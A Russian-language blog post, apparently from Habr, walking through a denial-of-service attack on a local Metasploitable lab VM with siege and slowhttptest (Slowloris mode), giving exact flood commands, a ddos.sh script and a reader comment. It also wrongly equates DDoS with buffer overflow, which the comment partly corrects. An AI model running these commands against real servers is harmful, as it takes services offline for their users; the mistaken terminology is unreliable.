В данной статье я поделюсь опытом ddos атаки уязвимой машины metasploitable.
Как ее устанавливать в виртуалбокс и настраивать я писал в этой статье:
https://habr.com/ru/articles/850188/

Еще раз напоминаю правовую информацию:

Данная статья создана исключительно в ознакомительных/образовательных/развивающих целях.
Автор статьи не несет ответственности за ваши действия.
Автор статьи ни к чему не призывает, более того напоминаю о существовании некоторых статей в уголовном кодексе РФ, их никто не отменял:
УК РФ Статья 272. Неправомерный доступ к компьютерной информации
УК РФ Статья 273. Создание, использование и распространение вредоносных компьютерных программ
УК РФ Статья 274. Нарушение правил эксплуатации средств хранения, обработки или передачи компьютерной информации и информационно-телекоммуникационных сетей

Именно поэтому я использую уязвимую машину на своем устройстве в качестве атакуемого сервера, то есть легитимно, в целях обучения.
Любой другой способ атаки на реальную систему - незаконный, без надлежащих на то санкций.

Вообще данный тип атак называется стресс-тестинг, ддос, или переполнение буфера. Суть такова: внешней атакующей машиной посылается большое количество запросов, и машина-сервер не справляется со всеми запросами. Кстати таким образом можно нагружать не только сервера, но и роутеры, отдельные хосты, шлюзы, и любой другой узел. Если речь идет о крупных серверах или агрегаторах то такой метод нагрузки практически бесполезен, в таких случая злоумышленник(и) (или же аудиторы если стресс-тест санкционированный) пишут особый вид вредоносных программ - ботнет (суть такова что это вредоносное ПО заражает устройства обычных пользователей с целью ддос атаки на сервера-жертвы для массовости атаки).

Приступим к практике запустим уязвимую машину metasploitable, узнаем ее ip адрес ifconfig - 192.168.166.234


Зайдем по адресу 192.168.166.234 и видим что на уязвимой машине на порту 80 через браузер можно зайти на сайт (конечно все локально).

Далее установим необходимые пакеты командой

sudo apt install siege slowhttptest
(у меня они уже установлены)
(у меня они уже установлены)

После установки приступим к атаке. Откроем два разных терминала и в каждый из них введем команды:

└─$ siege http://192.168.166.234/ -d1 -r2000 -c100
└─$ slowhttptest -c 500 -H -g -i 10 -r 200 -t GET  -u http://192.168.166.234/ -x 24 -p 2

Первая siege обозначает что мы атакуем с задержкой максимум в секунду -d1, -r2000 количество повторов текста, -c100 - количество одновременных запросов к серверу.
Вторую команду можно разобрать так: -c 500 - 500 соединений, -H режим "Slowloris", -g генерация статистики, -i 10 секунд до ожидания данных, -r 200 -t GET 200соединений с гет-запросом, далее ip/url сайта/домена, -x 24 -p 2 максимальная длина байта и 2 секунды таймаут.

Запускаем

По началу видим в "слоутесте" service available yes. Вторая программа тоже отправляет "гет-запросы"

спустя время видим в терминалах следующее:

Это значит что сервер "пал"

Пробуем зайти в браузере по адресу http://192.168.166.234/ и видим что сайт "не поднимется".

Атака успешна.

Подытожим. В данном примере хорошо видно как "положить" небольшой уязвимый сервер (тем более что на него отведено не так много системных ресурсов всего 500Мб оперативы и 1-2 ядро процессора). Стресс-тестинг является одним из необходимых видов аудита информационной безопасности (белого хакинга). А на этом у меня сегодня все.

Всем спасибо и до новых встреч.

P.S. Кстати процесс можно автоматизировать, написав скрипт скажем ddos.sh с таким содержимым:

siege http://192.168.166.234/ -d4 -r20 -c4; slowhttptest -c 500 -H -g -i 10 -r 200 -t GET -u http://192.168.166.234/ -x 24 -p 2

или с таким

siege http://192.168.166.234/ -d4 -r20 -c4; slowhttptest -c 500 -H -g -i 10 -r 200 -t GET -u http://192.168.166.234/ -x 24 -p 2
siege http://192.168.166.234/ -d4 -r20 -c4; slowhttptest -c 500 -H -g -i 10 -r 200 -t GET -u http://192.168.166.234/ -x 24 -p 2
siege http://192.168.166.234/ -d4 -r20 -c4; slowhttptest -c 500 -H -g -i 10 -r 200 -t GET -u http://192.168.166.234/ -x 24 -p 2
siege http://192.168.166.234/ -d4 -r20 -c4; slowhttptest -c 500 -H -g -i 10 -r 200 -t GET -u http://192.168.166.234/ -x 24 -p 2
и так далее

разрешить его исполнение в терминале

sudo chmod ugo+x ddos.sh

и просто запустить:

./ddos.sh

Комментарии (8)


  1. saboteur_kiev
    16.10.2024 20:41

    Вообще данный тип атак называется стресс-тестинг, ддос, или переполнение буфера. Суть такова: внешней атакующей машиной посылается большое количество запросов, и машина-сервер не справляется со всеми запросами.

    Нужно корректно пользоваться терминологией. DOS это просто аббревиатура - Denial of Service, которая может быть вообще не связана с переполнением буфера (это совсем другая уязвимость).
    Во-вторых у вас в статье пример DOS а не DDOS, потому что второй это распределенный DOS.